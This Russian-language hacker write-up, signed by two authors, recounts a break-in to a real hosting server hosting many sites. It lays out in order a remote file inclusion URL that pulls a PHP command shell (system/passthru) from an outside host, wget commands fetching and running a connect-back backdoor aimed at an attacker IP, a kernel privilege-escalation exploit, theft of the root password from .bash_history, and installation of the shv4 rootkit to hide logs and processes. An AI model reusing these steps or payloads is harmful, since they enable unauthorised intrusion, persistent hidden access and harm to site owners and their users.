Увлекательная история взлома хостинга в подробностях
1. Поиск жертвы
Мы выбрали один средний сервер, имя которого умолчим, по причине хостинга на нем
крутилось довольно много популярных и влиятельных сайтов, среди которых был сайт
телеканала и крутой сайт о политике, да и много других.
2. Осмотр местности
Никаких странных портов на сервере не было открыто, все баннеры сервисов были стандартны и неуязвимы. Нужно было действовать изнутри. На счастье администратор сервера любил похвастаться, и вскоре мы обнаружили интересную страничку типа « На нашем сервере расположены сайты… ».
3. Вторжение
Поковырявшись на некоторых сайтах из этого списка, был обнаружен какой-то самописный форум. Возможности SQL-инжекции и XSS мы там не нашли.
Но тут на помощь пришел старый добрый товарищ – поисковая система GooGle
:). Был выполнен такой запрос:
site: “www.target.com “ AND filetype: “php”
Как и ожидалось, google представил нам довольно обширный список php скриптов.
Немного покликав на ссылки, уязвимый скрипт был все-таки найден.
Ссылка была вида:
http://www.target.com/forum/index_module.php?module=main&file=redirect.php
Сомневаясь в успехе, мы смодифицировали ее к такому виду:
http://www.target.com/forum/index_module.php?module= main&file=../../../../../../../../../../etc/passwd
Возникла мысль, что если на сервере конфиг php не запрещает открывать ссылки из посторонних сайтов, и включена инициализация глобальных переменных, то можно произвести
php-include.Нам повезло, все было действительно так, ссылка была
изменена следующим образом:
http://www.target.com/forum/index_module.php?module= main&file=http://ru24.narod.ru/cmd.php?cmd=id
Сам cmd.php содержал текст вида:
echo "
”;
system($_GET['cmd']);
echo "
”;
?>
Но, сервер выдал нам ошибку, указывающую, что функцию system нельзя использовать на этом сервере. Тогда cmd.php был изменен к следующему виду:
echo "
”;
passthru($_GET['cmd']);
echo "
”; ?>
После этого, команда id успешно выполнилась. Мы обладали правами apache. Нужно было повышать привилегии.
4. Повышение привилегий
Ядро Linux было ветки 2.4.27, которое успешно рутается эксплоитом mremap. Был быстро запущен connback
backdoor.
cd /tmp;
wget –o cwb.c http://ru24.narod.ru/cwb.c;
Фаервол сек даже исходящие коннекты на левые порты, поэтому пришлось менять порт в бекдоре на 80.
gcc cwb.c –o cb;
./bd 68.***.***.**
Все, backdoor приконнектился на нужный нам адрес. Далее был скачан и запущен
mremap:
wget http://www.security.nnov.ru/files/mremap_pte.c
gcc -O3 -static -fomit-frame-pointer mremap_pte.c -o mremap_pte
./ mremap_pte;
Но система не сдавалась. Было опробовано еще несколько подобных эксплоитов. Факты говорили о том, что админ нас просто разводит. Ведь по команде uname -a выдается SMP система, а при применении эксплоита для этой системы идет запись что это не SMP система, что есть странно и является доказательством присутствия IDS.
5. Альтернативные методы
Так, администратор решил посмеяться, но смеется тот, кто смеется последний
:). Он все-таки совершил большую ошибку, все каталоги и файлы пользователей были доступны группе apache, членом которой были и мы.
Был пропарсен .bash_history каталога хостинга, где было обнаружено некорректное использование команды su, после чего был найден пароль администратора root.
6. Закрепляемся в системе
Мы успешно подключились к SSH сервису, далее было принято решение установить руткит shv4.
wget http://www.geocities.com/santumadron/shv4.tar.gz;
tar zxvf shv4.tar.gz;
cd shv4;
./setup пароль порт
При коннекте на SSH либо на порт руткита вводим логин root и наш пароль.
Теперь лог-файлы наших действий не ведутся, наши процессы не светятся.
Кстати, руткит shv4 является приватным, но это наш подарок вам,
от Nitrex’a и DreAmeRz’a.
Авторы: DreAmeRz и Nitrex
E-mail: dreamerz@mail.ru
E-mail: nitrex@rambler.ru
WEB: www.ru24-team.net